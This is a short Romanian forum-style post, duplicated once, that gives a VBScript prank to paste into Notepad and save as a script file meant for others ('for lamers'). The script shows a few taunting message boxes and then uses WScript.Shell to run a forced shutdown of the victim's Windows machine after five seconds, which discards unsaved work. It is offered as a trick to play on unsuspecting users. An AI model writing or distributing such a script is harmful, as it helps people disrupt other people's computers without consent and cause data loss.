Deschidem un notepad si scriem urmatoarele:
Code:
msgbox "sup?"
msgbox "esti bine?"
msgbox "si eu ms de intrebare"
msgbox "stiai ca curiosii mor repede?"
msgbox "atunci dc ai intrat in asta?"
msgbox "ok...u are going down.."
Dim wshshell
set wshshell = wscript.CreateObject("WScript.Shell")
wshshell.run "shutdown -s -f -t 5"
apoi salvam fisierul in extensie .vps(exemplu pentrulammeri.vps)si spor la treaba
Code:
msgbox "sup?"
msgbox "esti bine?"
msgbox "si eu ms de intrebare"
msgbox "stiai ca curiosii mor repede?"
msgbox "atunci dc ai intrat in asta?"
msgbox "ok...u are going down.."
Dim wshshell
set wshshell = wscript.CreateObject("WScript.Shell")
wshshell.run "shutdown -s -f -t 5"
apoi salvam fisierul in extensie .vps(exemplu pentrulammeri.vps)si spor la treaba